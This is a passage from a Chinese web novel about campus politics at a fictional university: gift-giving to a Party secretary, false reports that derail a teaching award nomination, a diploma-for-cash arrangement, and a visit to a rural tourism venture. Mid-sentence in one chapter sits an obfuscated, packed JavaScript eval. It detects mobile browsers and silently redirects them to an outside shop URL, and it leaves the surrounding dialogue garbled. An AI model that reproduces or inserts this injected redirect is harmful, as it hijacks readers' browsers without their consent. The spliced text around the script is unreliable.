戈大垣似乎心情很好。他并没有拒绝,而是站起身来打开锦盒,象牙笔杆温润如玉,上等狼毫的笔尖柔韧挺括。戈大垣小心翼翼地将笔提起,在虚空中本能地做出一个运笔的姿势,眼神里流转出的是毫不掩饰的痴迷。恋恋不舍将毛笔放回锦盒中,戈大垣在房间踱了两步后说道:"这个...是不是太贵重了?要不,我自己出钱买吧?” 孟超故作失色:"书记您这是笑话我嘛。不值几个钱的。您现在为了学校日夜操劳,练习书法修身养性,最终还是为了更好地工作呀。这套笔是专供书协的大家用的,您先试试,如果趁手,我再弄些来。"说到这里,他故意停顿片刻后谦恭地说道:“我这也不是白送您的。今天还真有个不情之请”。 戈大垣纳闷地看着他。孟超走到旁边的写字台前,提出请戈大垣赠送墨宝以作回报。戈大垣哈哈笑了起来:“这个可以,至少礼尚往来嘛。”说罢,当着孟超的面,兴致勃勃用尚显生疏、却已初具规模的颜体笔法写下了"自胜者强"四个大字。写毕,目光炯炯地看着孟超,意味深长地说道:"《道德经》有云:''胜人者有力,自胜者强''。这次检查只是一个节点,希望孟校长今后工作中能不断超越自我,成为真正的强者嘛。" 孟超双手接过那幅墨迹未干的字,心里明白,这不仅仅是四个字,更是一种认可,一种默契,一种关系的进一步巩固。 同一次检查,同一个结果,带给孟超的是满面春风,带给顾明远的却是笼罩心头的一层难以驱散的阴云。这些天,他非但没有因为侥幸过关而感到丝毫轻松,反而被一种说不清道不明的忧虑与失落紧紧缠绕。 就在昨天,钟德君主动邀他小酌。酒过三巡,那番推心置腹的话语至今仍在耳畔回响:“老顾,这次是侥幸过关,你知道的吧?楚江大学的基建这潭水又深又浑,底下不知还藏着多少雷呢。还是那句话,你本质上是个秀才,这个染缸不适合你。听我一句,趁早抽身。实在不行,我们事务所的门,永远为你敞开嘛。” 钟德君的话,调侃中带着真诚,让顾明远无法忽略不计。道理易懂,抉择却难。回到家中,面对满室清寂,他独自陷入沉思——退?尚有层层关口要过,谈何容易!不退?又不知哪颗“惊雷”会轰然炸响,累及自身。 思前想后,还是觉得林思齐那句“徐徐图之”的建议是目前最现实的选择。眼下,二期工程将近尾声,不如借此机会,重新在教学与科研方面扎实做点文章,以为“抽身”做好准备。 这天,接到历史学院教学办的通知,顾明远专程前来商讨下学期增开课程的事。路过院长江鸥影办公室门口时,她忽然眼睛一亮,嘴里说着“我怎么就没想到你呢”,便不由分说将他拉了进去。 原来,学校即将开展省级教学成果奖的推选工作。这几天,两位出身历史学院的校领导周濂与秦冰纶没少找江鸥影谈话,甚至对这次申报下了“历史学院必须全力夺取省级教学成果奖”的“必杀令”。江鸥影的压力陡然大增:随着这两年几个工科学院异军突起,历史学院的传统地位受到强烈冲击,这次能不能从校内脱颖而出都要打个大大的问号,更不谈代表学校去摘取省级教学成果奖的明珠。这几天,江鸥影拿着学院教师花名册反复盘算和斟酌,五十多名教师中真正有竞争力的不过一两人而已,这让她忧心如焚、寝食难安。 正在踏破铁鞋无觅处的危急时刻,顾明远忽然“柳暗花明”地降临到了眼前。 江鸥影兴奋的介绍和提议让顾明远心中狂喜:如果能够申报成功,不就是回归的最好铺垫吗?但是,顾明远很快冷静了下来,担心自己的基建处处长身份影响申报资格。 有些“病急乱投医”的江鸥影难得地显出一种破釜沉舟的果断:“你顾明远的名字本来就一直在历史学院的导师名录上 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江鸥影知道秦冰纶一直在通过沈菊英力挺林书锦,不由得心里冒火:林书锦整天不务正业,就他也算“挺有实力”?因为知道林书锦和秦冰纶之间暧昧的关系,江鸥影当然不敢也不愿当面顶撞秦冰纶,只好斗胆将顾明远的优势强调一番。秦冰纶生气地挥了挥手:“你们历史学院想怎么作就怎么作吧,我不管了。”江鸥影不想放弃,径直上楼来到了校长周濂的办公室。顾明远本就在周濂圈定的几个有竞争力的名单里面,听完江鸥影的陈述后,当即给秦冰纶打去电话,要求历史学院将顾明远和林书锦同时推荐到学校层面。 一周后,公告栏中贴出公示,顾明远的名字出现在拟推荐的四人名单中。 历史学院副院长林书锦原本准备依托秦冰纶支持和学院的实力地位全力争胜,好为明年的教授职称增加砝码,看见公示名单后,将自己的落选全都归咎在半路杀出的顾明远身上。胸中的郁闷无处发泄,下班后独自去西门后街借酒浇愁。刚走到门口,迎面碰见面色同样阴沉的办公室主任桂先锋。桂先锋正在为遭到书记戈大垣冷落而忧心忡忡。两双忧郁的眼睛碰到一起,脚步不约而同走向了旁边的酒家。 几杯烈酒下肚,林书锦情绪彻底爆发,尖细的嗓门将顾明远这个"程咬金"好好诅咒了一番。桂先锋早就耳闻戈大垣有意让顾明远取代自己办公室主任的消息,便往林书锦的火灶里添起了柴火:“老林,天下苦顾久矣。我倒无所谓,你这次损失确实大啊,他这不是硬生生剥夺了你明年参评教授的资格嘛。” 林书锦气得将手中的杯子掼在地上:"他一个戴绿帽子的算什么东西,没有吴若甫家的软饭,啥都不是!" 桂先锋继续煽风点火:"咳,现在说这些气话有什么用呢?公示完了可就没有机会罗。" "桂主任有什么高招?"林书锦两眼通红拽着桂先锋的手问道。 桂先锋冷笑了一声:"道路千万条,那就要看你老林的想象力罗。现如今要扳倒一个人也容易,要么是经济问题,要么是作风问题。那人现在不是还单着呢嘛,我就不相信他就六根清净了。去年不是还有他与女学生的传闻么?” 林书锦若有所悟,仰起脖子喝完杯子里的余液后,嘴里骂骂咧咧、脚下摇摇晃晃地回到了自己的办公室。 第二天,几封措辞激烈、内容耸动的举报信如同雪片般飞到了楚江大学新任纪委书记的办公桌上。举报的核心内容集中在两点:顾明远不具备申报资格以及与女学生存在男女作风问题。 明知举报与事实不符,在新任纪委书记的强烈坚持下,戈大垣只好选择了退让,将顾明远从推荐名单上撸了下来。周濂本想为顾明远说话,在得知石凤芝已经去省厅上访的消息后,担心影响自己正常退休,最终只好作罢。 有些愧疚的周濂决定向顾明远当面告知决定,顺便也做做他的思想工作。听完校长的解释后,一股冰冷的潮水在顾明远的胸腔中漫溢,他不想在校长面前失态,尽力挤出一抹浅淡的微笑,顺势提出重回历史学院的打算。 周濂叹了口气说道:“明远,你也知道,我是赞成你回学院的。但你现在是处长了,有些事恐怕还不是我能决定的。” “那我直接去找戈书记?”有些心灰意冷的顾明远华丽明显带着情绪。 “缓缓吧明远,有些事情考虑清楚后再做决定也不迟。” 望着周濂镜片后温和而又关切的目光,顾明远只好迈着虚飘着脚步告辞。夜风带着凛冽的寒意扑面而来,吹在脸上如同刀割。他抬起头,东方的天幕上,一轮清冷的明月正越过光秃秃的树梢,将冰冷刺目的光辉毫无保留地倾泻下来,亮得让他不得不眯起眼睛。这月光,此刻看来如此无情,像是对他的一种嘲弄。然而,心底那个关于离开的声音如同这清冷的月光般,冰冷、清晰且无比坚定地亮堂起来。 68. 鸢尾之算 新年过后,秦冰纶仿佛乘上了命运的顺风舟,好运接踵而至,让她有些应接不暇。先是正式受聘为博士生导师,成为了楚江大学校史上第四位获此殊荣的学者。紧接着,在中国历史学会新一届的组织架构改选中,又高票当选为秘书长,这不仅是对她学术地位的加冕,更极大地提升了她在学界的话语权和隐形身价。更让她心潮澎湃的是,校长周濂退休之前有意扶她一把,主动将自己兼任的、象征着校内学术权力顶峰的校学术委员会主任的权杖慷慨地“转赠”于她。 一时间,秦冰纶真切地体会到了何为“春风得意马蹄疾”的无限风光。只可惜校园里无马可骑,否则她真想策马扬鞭,将这满园的春色与风光尽收眼底。她的心情,如同被春风鼓荡的纸鸢,轻盈地翻飞在云端,总需要找个方式宣泄。于是,拉上不同的人陪她逛街,便成了她释放这满溢喜悦的最佳途径。 这个周末,被她拉了“官差”的是表妹林思齐。目的地选在了武昌水果湖新近开业、声名鹊起的商业地标——“楚河汉街”。 晨光熹微中,欧式拱廊与仿古青砖骑楼交相辉映的核心街区已是人潮涌动。空气里混杂着奶茶的甜腻、烧烤的烟火气以及从奢侈品店铺门缝里逸出的冷冽香氛,共同酿造出一种浮华的都市气息。当秦冰纶与林思齐这对身姿窈窕、装扮入时的姐妹花汇入人流时,立刻成为了视线焦点,甚至有人躲在角落,悄悄举起手机对准她们。秦冰纶对此不仅不恼,反而极为受用,偶尔还会不着痕迹地调整步态,微微侧首,将最好看的弧度展现给潜在的镜头,心中自得地思忖:“人们有权欣赏美好的事物。” 林思齐了解表姐这份乐于成为焦点的虚荣心思,不好扫了她的兴,只在唇边挂着一抹无奈的浅笑,时不时用眼神催促着这位“美好的事物”继续前行。 秦冰纶熟门熟路地将林思齐拉进了一家装修考究的时装店。老板娘一眼认出这位每次光顾都会出手阔绰的“美女校长”,立刻堆起热情的笑容,亲自奉上香浓的现磨咖啡,并殷勤介绍着刚到店的新品。在老板娘恰到好处的奉承与艳羡的目光中,秦冰纶的虚荣心得到了极大的满足,银行卡在POS机上划过的清脆声响,在她听来如同收获的悦耳乐章。相比之下,林思齐对衣着似乎并无太高要求,觉得自己身上那件洗得微微发白的牛仔裤搭配宽松蝙蝠衫已足够舒适自在,任凭老板娘舌灿莲花,她只是微笑着摇头,不想被动消费。 扫货完毕,两人在临窗的软沙发上落座小憩。秦冰纶优雅地端起咖啡杯,氤氲的热气模糊了她眼中一闪而过的复杂神色。她今天邀请表妹引起逛街,其实是藏着一点奇怪的心思:了解表妹和顾明远关系的进展情况。女人就是这样奇怪。对于秦冰纶而言,顾明远其实早已是翻过去的一页书,不值得再读,但情感这东西有时并不完全听从理智的号令。就像一件自己曾经中意过的瓷器,忽然有一天被旁人尤其是被自己亲近的表妹可能捧走,那种微妙的领地丧失感觉,还是会让她心里泛起一丝说不清道不明的醋意。探听一些信息,并非出于真正的关心,而是可以借机用一些半真半假的“情报”在林思齐的心湖里投入几颗小石子,达到给二人关系“添点堵”的目的。 秦冰纶放下咖啡杯,目光看似随意地落在林思齐脸上,嘴角勾起一抹笑意,用一种刻意营造的、带着点戏谑的语气抛了出来:“怎么样?现在和那位顾大处长快要修成正果了吧?”她刻意用了“顾大处长”这个略带疏离又隐含调侃的称呼,仿佛在划清自己与他并无特殊关系的界限,却又通过提起这个话题,无声地宣告着自己对他过往的知情权,以及此刻评判的资格。 秦冰纶的话音刚落,林思齐唇边那抹闲适的笑意倏然收敛,原本放松靠在沙发背上的身体微微前倾,清澈的目光骤然变得锐利,直直看向秦冰纶:“秦校长如果又想‘八卦’这个话题——”,她刻意加重了“八卦”二字,继续说道:“那我们还是走吧,反正你的购物任务已经完成了。”说罢,拿起手包,作势起身要走。 这一下着实将了秦冰纶一军,几乎是下意识地伸出手拽住了林思齐:“死丫头,急什么呀。不说就不说了,行了吧?”话里带着妥协和无奈。面对这个个性独立、柔中有刚的表妹,秦冰纶那些官场上游刃有余的掌控术全都失了效。林思齐落座后,秦冰纶悻悻地端起已经微凉的咖啡,借以掩饰自己的失态。 刚抿了一口,秦冰纶手中的银叉一颤,杯子里的咖啡险些洒在沙发上。她兴奋地拽了林思齐一把,指尖指向对面一家玉器店门口,险些喊出声来:“思齐快看。有好戏了。” 林思齐满脸疑惑顺着秦冰纶手指的方向:对面一家时装店的橱窗前,一个中年女人怔手挽着一个男人对着橱窗里的衣物指指点点。林思齐忍不住冷嘲起来:“你真是黑夜给了你黑色眼睛,看见啥都是黑色的吧?那不就是一对夫妻在品鉴衣服吗?有什么新奇的?” “你懂个鬼哦。那个女的是我们学校江副校长的爱人,”秦冰纶的眼中闪烁着发现猎物般的光芒,混合着惊奇与一丝难以掩饰的幸灾乐祸。 “这很奇怪吗?”林思齐不解地反问道。 秦冰纶却不搭话,迅速掏出手机,隔着玻璃对着两人一顿猛拍,嘴里念念有词道:“立此存照,说不定哪天就能派上用场。” 林思齐对表姐这般举动莫名升起一股厌烦,在她肩膀上拍打了几下:“嘿,嘿,你这堂堂的厅级干部,偷拍人家夫妻逛街,你不觉得太那个了吗?” 秦冰纶拥住林思齐凑近耳朵神秘地说道:“那个男的不是我们的江副校长,人家这会在日本呐。” 林思齐惊得愣了一下,看见表姐脸上一副狩猎后难掩兴奋的样子,游玩的心情瞬间消散,便以下午还有值班为由,独自驾车先自离开。 经过梨园道时,林思齐感到胸口气闷难舒,索性找了处空地将车停下。走进梨园大门,林思齐沿着湖边的栈道漫无目的地行走,试图让湖风吹散心头的纷乱。脚步看似悠闲,脑海中的思绪却如潮水般翻腾。不知不觉间,行吟阁的轮廓出现在前方。此刻,它宛如一枚青螺,静静地镶嵌在东湖的潋滟波光中。檐角悬着的铜铃,偶尔被风拂动,送来几声清脆悠远的回响。波光和回响似乎稍稍抚平了林思齐心头的褶皱,脚步不由得轻快起来。 刚绕着屈原的雕像盘桓了两圈,一个耳熟的声音从旁边的橘树林里飘了过来。林思齐有些好奇走了过去,两个熟悉的身影映入眼帘——那不是顾明远和他的女儿顾安然吗? 只见顾安然蹲在地上,双手托着腮帮,一双眼睛眨也不眨地凝望着谜面,小嘴里不住地喃喃:“花中君子……花中君子……”,忽然间,眼眸一亮,像被春风点亮的星子,整个人从地上一蹦而起:“是兰花!老爸,是兰花对不对?”话音未落,那双小皮鞋已在泥地上踏出清脆欢快的节奏,裙摆倏然旋开,宛如一朵在春日里猝然绽放的蒲公英,轻盈而烂漫。顾明远立在原地,满眼都是化不开的宠溺,不时伸出手,温柔地抚过女儿柔软的发丝。 这一幕,分毫不差地落入了林思齐眼中。父女俩周身仿佛笼罩着一圈暖光,欢声笑语如同暖流,一阵阵扑面而来,让她的心也跟着温热起来。同时一丝淡淡的酸楚像一滴墨落入清水中晕开,一股莫名的渴望悄然像春草般在心底里滋生起来。 工作人员将兑换熊猫玩具的奖券递到顾安然的手中。还差两张奖券就可以兑换一只熊猫布偶的顾安然更是来历精神,拉着爸爸的手向另一棵挂满谜题的橘树走去。阳光透过橘树的枝叶在她雀跃的身影上跳跃,无忧无虑的笑声挤出枝头飘向湛蓝的天空。 在一张写着“十八闺女出门游”的谜题卡片下,顾安然歪着头闭目凝神思索良久没有找到答案,顾明远正要开口提示,却被她伸手捂住了嘴巴:“老爸别说,这个我能猜。”嘴里念叨了几回,双手一拍,兴奋地跳起来摘下卡片,在答案栏中填上“桂花”二字。 父女二人的全信投入激起了林思齐的兴趣,她快走了两步来到他们身后。父女此时正被“什么花儿盛开时人看不见”谜题折腾得抓耳挠腮,满脸通红,顾安然恨不得急得眼眶中噙出了泪花:“就差一个就能换那个熊猫了。”看见父女二人的窘境,林思齐忍不住伸手摘下卡片说了声:“应该是浪花吧。” 父女俩闻声回头,几乎异口同声地喊出了“林医生”“林阿姨”。 顾安然攥着猜谜得来的卡片,迫不及待地要去兑奖处。顾明远有些惊讶地看来林思齐一眼:“林医生,这么巧?你也来参加活动?” 林思齐她眉眼一弯,故意板起脸来:“顾先生这话说的,难道医生就不能来这里了?况且我家就在附近嘛。” 心里紧张的顾明远被林思齐逗得脸颊通红,正尴尬间,领了奖品的顾安然一路小跑过来,仰着头望着林思齐问道:“林阿姨,您不在家,‘汤圆’自己会不会很孤单呀?” “汤圆”是林思齐养的猫的昵称。看见林思齐和顾安然绕着“汤圆”聊得热火朝天,插不上话的顾明远干脆走到旁边的冷饮店买了几支冰淇淋回来。刚吮吸了两口,林思齐忽然像是想起了什么,拍了拍顾安然的肩膀:“安安,我正有件事要和你爸爸商量,你先在这边玩一会□□游戏好吧?”这个提议正中顾安然下怀,立刻兴奋地跑向□□摊位。 斑驳的日影透过高耸的水杉洒落在静谧的小道上。见顾明远一路无话,林思齐侧过头,眼角弯起一抹浅笑:“顾老师今天怎么这样安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904269|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静?倒让我有些不习惯了。” 顾明远轻咳一声,故作轻松:“不是在等你先谈正事么?” “果然还是你沉得住气。”林思齐轻笑,随手将一缕被风吹散的卷发掠至耳后,眼眸中流转着一丝狡黠:“‘湖畔中学’的那位陈梓墨副校长,你应该还记得吧?” 顾明远微微一怔:“自然记得。去年不是有过一面之缘嘛。”这句“自然记得”说得含蓄,心中所指实是那不得已送出的三万元,但碍于书生颜面,不好意思当着林思齐的面说出。 “记得就好。”林思齐的语气里仿佛藏着未尽之言。 “怎么忽然提起他?” “因为眼下,或许有个机会,能让你收回去年那笔本不必要的‘投资’。”她特意在“投资”二字上落了重音。 顾明远素来在言语交锋上占不到林思齐的便宜,此刻不免疑心她又是在打趣自己,便只默默看着她不作回应。 林思齐被他看得有些不自在,颊边泛起淡淡红晕:“怎么这样看我?信不过我么?”随即说起了事情的经过:陈梓墨为了在校长竞选中增添筹码,正想方设法谋取一张楚江大学的研究生文凭。 顾明远听罢眉头微蹙。他本就对陈梓墨不甚喜欢,此刻更添几分鄙夷:“一纸文凭,竟也能成为晋升的终南捷径么?” 林思齐轻声问道:“你想不想收回那三万元?”见顾明远仍面露疑惑,她进一步点拨:“你还不明白?他是想在你们楚江大学谋得这个文凭。” 顾明远沉吟道:“你刚才不是还与秦校长在一处?找她更容易办成的呀。” “找她?”林思齐眼中闪过一抹俏皮的神色:“那岂不是自寻烦恼?少不得要听她一番刨根问底和谆谆教诲。”她顿了顿,声音轻柔却坚定:“我觉得吧,认为这是个难得的机会。去年安然调考成绩多好啊,完全不需要额外付出三万块元钱。” “你不也送出了一只金镯?” “那不一样。”林思齐轻轻摇头,“我那镯子来得容易,送出不算心疼。你这三万元却是辛苦得来的,就此便宜了陈梓墨这样的人,我都觉得憋屈。” 顾明远故作洒脱:“事过境迁,何必再提。况且安然毕竟入了湖畔,也算得偿所愿。” “话说得轻巧。”林思齐再次摇头,稍作停顿,声音压低了几分:“前几日陈梓墨托我打听时,大咧咧地说‘费用不是问题’。既然如此,何必对他客气?” 顾明远被她这番话活动了心事,看着林思齐温婉面容下那份坚持,笑着点了点头。 周一上班,顾明远硬着头皮走进了已是历史学院总支书记的沈菊英的办公室。迂回了半天,最后绕到了正事。沈菊英并不直接接茬,只是端着架子盘问起陈梓墨的身份和地位来。顾明远知道她潜在的意思,便借着陈梓墨的话说了了“钱不是问题。” 沈菊英佯作沉吟后松了口:“么办咧,冲着你顾处长的面子,我去和秦校长说说。” 一听这事还得经过秦冰纶,顾明远一下子有些惶然:“这事你沈书记不能搞定吗?干嘛非要经过秦校长?” 沈菊英神秘地卖起了关子:“这叫政治正确,你不懂。” 没过两天,沈菊英便回了电话,说是秦冰纶答应亲自做陈梓墨的导师,让顾明远张罗由陈梓墨出面办一场“拜师宴”,还特意叮嘱要他备足费用。 当顾明远将消息转给林思齐时,不到一个小时的工夫,林思齐就传来了陈梓墨的消息:一切照办。顾明远有些忐忑地给出了沈菊英的“五万块钱”的报价,林思齐在电话里坏笑了一声:“那我就给他开价八万五。” 顾明远以为自己听错了,连忙求证:“八万五?这……这也太高了吧?” “高吗?我可不觉得。”林思齐的声音冷静如冰:“五万是他该交的‘学费’。三万五是他该吐出来还给你的。” “可……我的本金只有三万啊?” “顾大处长,这钱在他那里放了一年多,难道不该算些利息吗?”林思齐的语气带着一丝调侃,更带着一丝狠劲。 顾明远握着电话愣了半晌说不出话来。平日里看起来温柔淡雅、与世无争的林医生在处理这件事时竟然如此果决狠厉。相形之下,自己身上的书生气倒显得有些迂阔和可笑。 几天后,当林思齐将一个装着厚厚三万五千元现金的牛皮信封递到顾明远手中时,他的手像是被烫到般猛地一缩,迟疑道:“这……万一最后事情没办成呢?” 林思齐眼中闪过一丝洞察的冷笑,语气笃定:“放心吧,秦冰纶都答应做他的导师了,你还怕办不成?”说罢,她指尖轻轻弹了弹路边花坛里鸢尾花柔嫩的花瓣,低头狡黠地笑了起来。 69. 心有灵犀 清明节前,顾明远接到了二姐顾小满打来的电话。如今已是“枞树湾乡村旅游公司”经理的她,声音里透着几分得意,热情邀请他回乡看看已经上马运转的公司,正好可以给父亲上坟扫墓。 这个看似寻常的邀请,在顾明远心底漾开了层层涟漪。这些年来,面对象牙塔中单调枯燥的日常和复杂人际关系带来的消耗,一个念头早已如深埋的种子,在他的心间悄然生根、暗自生长:依托二姐生机勃勃的公司,在故乡的土地上为乡亲们做点实实在在的事。这不仅是对生养故乡的报答,更是对人生目标的校正。这个念头一直被顾明远谨慎地藏于心中,却在每一个疲惫袭来的时候浮现。随着光阴流转,细节日益清晰,意志也更加坚定。 恰好在武汉工作的中学同学要回老家,顾明远便搭上顺风车,一路向着故乡的方向奔驰而去。 清明前的乡村,浸润在这样一种雨意中:不是倾盆的雨幕,而是天地间一幅半透明的薄纱,将沿途的丘陵、田野、静默的村落和蜿蜒的小路,都笼罩在一片静谧而略带愁思的意境里。半闭的车窗内,空气清冽湿润,混合着泥土苏醒的气息和植物根茎的微苦芬芳。随着故乡的轮廓在视野中渐渐清晰,顾明远的心情也愈发激动,近乡情更切,大抵如此。 顾小满早早就在路边等候。下得车来,眼前的景象让顾明远有些震撼。一年不见,这里的变化确实可以用天壤之别来形容。枞树湾旁边往日荒芜的山坡,一座橘红色的四合院建筑依势而立,崭新的屋顶在阳光的照射下,流淌着温暖而耀眼的光泽。离四合院百米处是一栋灰瓦白墙的建筑,一根烟囱向天空吐纳着袅袅白烟,在半空中幻化出一条缓缓流动的河流。四合院下面开阔的洼地里,一大片尼龙大棚整齐排列,连绵起伏,宛如波光粼粼的海洋,看得见大棚内人影绰绰,一派繁忙而有序的景象……。 “这得追加不少投资吧?”在被眼前的景象震撼的同时,疑问也在顾明远的心底泛起。 因为激动和得意,顾小满脸庞绯红艳丽,笑容灿烂:“你没想到吧?除了汪总追加的投资,我还打着你的名头硬着头皮闯了两次许县长的办公室,要了两笔低息贷款。”她笑着拍了拍弟弟的肩膀,眼中满是光彩:“许县长还真买你这个老同学的账。县里现在大力支持乡村旅游经济,我算赶上了好时候。对,这个用你们文化人的说法叫……叫什么?” “天时地利人和呀”顾明远脱口而出。 正说着,几个扛着农具、统一着装的上了年纪的村民迎面走来,有几个熟识的停下来和姐弟二人打起了招呼,说是新到的一批花苗要赶着下地。听着大家一声声发自内心的“顾总”和目光中流露出的对二姐尊敬,顾明远忍不住打趣道:“顾总,你这派头,现在应该是远近闻名的大明星了吧?” 立在一旁的姐夫家胜总算找到了插话的机会:“现在都是县里的模范了,动不动就去县里开会作报告,搞得像个领导似的。” 顾小满瞪了老公一眼:“怎么啦?经理不是领导呀”,说罢,语气中带着几分真实的得意:“不瞒你说,我现在手下管着百十号人呢,用的都是留守在家的老人。用许县长的话说,我们这是在帮助政府分忧解难呢。” “都是老人吗?”顾明远本能地问道。 “是呀。现在青壮年都去外地打工挣钱去了,也只有老人可用了。”这也算是‘先富带动后富’的生动实践吧?”顿了顿,顾小满的语气变得柔和起来:“其实吧,我也没有许县长说的有那么高的觉悟,现在湾子里的这些老人都是以前帮过咱家的叔伯婶子,能让他们在家门口有钱挣,我心里头踏实。” 顾明远心头一热。二姐这些朴素的话语,让他内心隐约的因“处长”、“教授”、“硕士生导师”等光环带来的隐约优越感骤然消散。是啊,自己这十几年的奋斗,仿佛一株随波逐流的浮萍,看似绿肥红艳,却始终没有在生命的土壤里扎下深根。那些年复一年登台讲课、施工管理、开会扯皮、文件流转乃至觥筹交错……,让人既身不由己,又疲于奔命。职称越来越高、官阶越来越大、待遇越来越好……,这些看起来的光鲜亮丽,在二姐这份扎根土地、惠及乡邻的事业面前,显得如此轻飘、虚浮。它们更像是一种精致的自我装饰,点缀着个人功名的布景板,却在解决真实世界的问题、为他人创造福祉上显得空洞而苍白。此刻,那些藏匿于心头的念头再次在心底奔涌起来:是时候调整自己的人生坐标了。 想到这里,顾明远提出去四合院里面看看。这是一个由四栋两层小楼围合而成的宽敞院落,白墙黛瓦,木格窗棂,保留了传统民居的韵味,又融入了现代设计的舒适考量。院门口竖着一块古朴的原木招牌,上面镌刻着四个娟秀又不失风骨的字——“慢乡村舍”,在旁边翠竹随风摇曳的竹影掩映下,倒是平添了几分雅致。 顾明远站在木牌前饶有兴致地欣赏起来:“‘慢乡村舍’,这个名字有点意思。” 顾小满拍掌乐道:“你这大教授可真是贵人多忘事。这个名字是你去年回来时取的呀。怎么样?刚才看到的和你想象的‘让生活慢下来’意思是不是有点吻合?” 顾明远恍然记起,心中涌起一股小小的自得。自己一句随口的感慨和设想,如今在故乡的土地上变成了真实场景,这种“智力成果”比多少篇核心期刊论文、参加多少场学术会议更让人有满足感与成就感。 走进干净整洁的院落,中央一个用青石和泥土垒砌的方正台子吸引了顾明远的注意:“咦,这个是……戏台吧?” “可不是嘛。”顾小满点点头,笑着解释道:“现在农村的老人和以前不一样了,开始学着城里人的时髦跳起了广场舞。我就想给他们提供一个地方,干脆就建了这个戏台,既能跳舞,逢年过节还组织戏班子唱戏,让这些留守的老人们有个乐呵的地方。”说罢,略带调侃地指了指一直憨笑的丈夫说道:“喏,你姐夫现在可牛气啦,恨不得成了广场舞的‘总教头’了。”吓得有些惧内的家胜赶紧涨红了脸替自己辩解。 顾明远似乎无心听二姐姐夫的“嘴仗”,眼睛盯着戏台,脑海里却浮起了一直关注的沿海发达省份乡村老年教育热火朝天的画面:习字的习字、唱戏的唱戏、做手工的做手工……。他的心弦猛地被拨动了一下。这正是这次回来的一个重要目的——探讨将别人的经验在自己的家乡进行嫁接的可能性。正要询问细节,顾小满的手机响了。看了一眼屏幕,脸上露出一抹笑容,将丈夫家胜拉到一边低声交代了几句。家胜一阵风似地小跑着离开了院子。 顾小满转过身来笑眯眯地看着弟弟,故意卖起了关子:“明儿,一会儿有个重量级的人物要到场,你猜猜是谁?” 顾明远正准备说出“许锐”的名字,那辆再熟悉不过的宝蓝色“雷诺”轿车稳稳地开进了院子。一个熟悉的身影从车子里探出身来,盈盈春水般的丹凤眼瞟了顾明远一眼后,扬着右手轻快地和大家打起了招呼:“你们好啊。”声音清脆悦耳,脸上绽放的笑容比院子里金灿灿的油菜花还要明媚、温暖几分。 来人正是江南医院的林思齐。素雅的碎花连衣裙外搭了一件米白色的针织衫,几缕秀发在春风吹拂下欢快地起舞,目光流转间时不时地对顾明远轻眨几下。 顾明远整个人瞬间僵住。大脑一片空白,巨大的惊喜像一股汹涌的热流冲上头顶。他努力张了张嘴,只觉得喉咙发紧,嘴唇蠕动着,傻傻地看着那个仿佛从天而降的身影。 顾小满“吃吃”地笑着从身后推了弟弟一把,顾明远这才会过神来,带着掩饰不住的欣喜问道:“你怎么来了?” 林思齐对着顾小满做了个鬼脸后说道:“这得问你二姐呀。” 顾明远回头看了看顾小满。顾小满满眼的得意:“哈哈哈。怎么样?老弟,你只说说,你姐这个策划有没有创意?” 原来,接到弟弟的电话后,顾小满灵机一动,径直给林思齐打去了电话,说是请她过来为自己公司参谋参谋。林思齐料定顾明远一定也会回去,并不点破,满口答应了下来。 看见顾明远一副没有缓过劲的木讷样子,原本羞赧得脸颊上泛起红云的林思齐眼神里又恢复了惯有的灵动和俏皮,抬眼望着顾明远说道:“看来顾老师不太欢迎我的嘛。不过没有关系,我可是小满姐邀请来的。清明时节,春光大好,来乡下呼吸新鲜空气嘛”,说罢,过来挽住顾小满的胳膊摇晃道:“顺便观摩小满姐亲手打造的‘商业帝国’,多好呀。” 娇羞中透出的俏皮,让顾明远心里抹了蜜似的,感到无比的甜美。为了不让心情露馅,故意用看似寻常的寒暄语气说道:“早知道你要过来,我何必坐别人的便车呢?” 顾小满和林思齐相视一笑后说道:“二姐不是想给你一个惊喜嘛。” “是啊。希望能有更大的惊喜”,顾明远一语双关地看了二姐一眼,有些迫不及待地拉着林思齐在四合院里转悠起来。 四合院的东西两厢已经建成民宿,檐下悬着仿古灯笼,门上垂着镂花的竹帘。顾小满掀起竹帘说道:“你们不知道吧?这些竹帘都是湾子里的老篾匠快要失传的手艺”,顾明远抚着竹帘上的雕花望着林思齐说道:“多精美的手艺啊,如果失传了就太可惜了”,林思齐若有所思地点了点头。 进到房间,室内窗明几净,土炕上铺着蓝印花粗布床单,床头上挂着的是剪纸作品。林思齐凑近欣赏着里面的鸾凤交舞的造型,嘴里“啧啧”惊叹道:“小满姐,真是高手在民间啊。想不到你们这里还有这么多竹器、剪纸、扎染的人才啊,真应该好好将他们组织组织,这可是乡村旅游的的一大卖点呀。”林思齐的说法和顾明远不谋而合,这让他欣喜万分。 顾小满一时没有明白林思齐的意思,转过头来看着弟弟顾明远。顾明远并不解释,忽然问起了目前民宿的入住率。顾小满低头想了想后说道:“总共六十间客房。旺季都不够住,平时也就三四成吧。”停了片刻,有些狐疑地问道:“怎么突然问这个?” 顾明远没有立即回答,走出民宿房间后来到了那栋目前尚在空置的楼里。阳光从雕花木窗棂斜射进来,在竹木地板上投下斑驳的光影。看着空荡荡的房间,顾明远的声音忽然激动起来:“思齐,你看看这空间,这光线,不正是标准的教室的么?”林思齐的目光跟着他在屋里转了一圈,嘴角渐渐扬起会意的微笑。望着百思不解的顾小满说道:“顾经理,你弟弟在打这些房间的主意哦?” 顾小满这才回过神来:“我说呢。这家伙脑子里鬼点子多”,说罢,有些好奇:“我倒要听听,他在打什么主意?” 不待顾明远开口,林思齐替他说了出来:“他想把这些空置的房间变成乡村留守老人和儿童的学习、活动场所”,说罢,骄傲地看着顾明远问道:“对吧?顾老师?” 笑意在顾明远的眼角漾开,心里笑道:知我者,林医生也。既然林思齐已经捅破了窗户纸,顾明远干脆说出了自己的想法:“这些老房子空着也是空着,不如让它们用起来、活起来。” 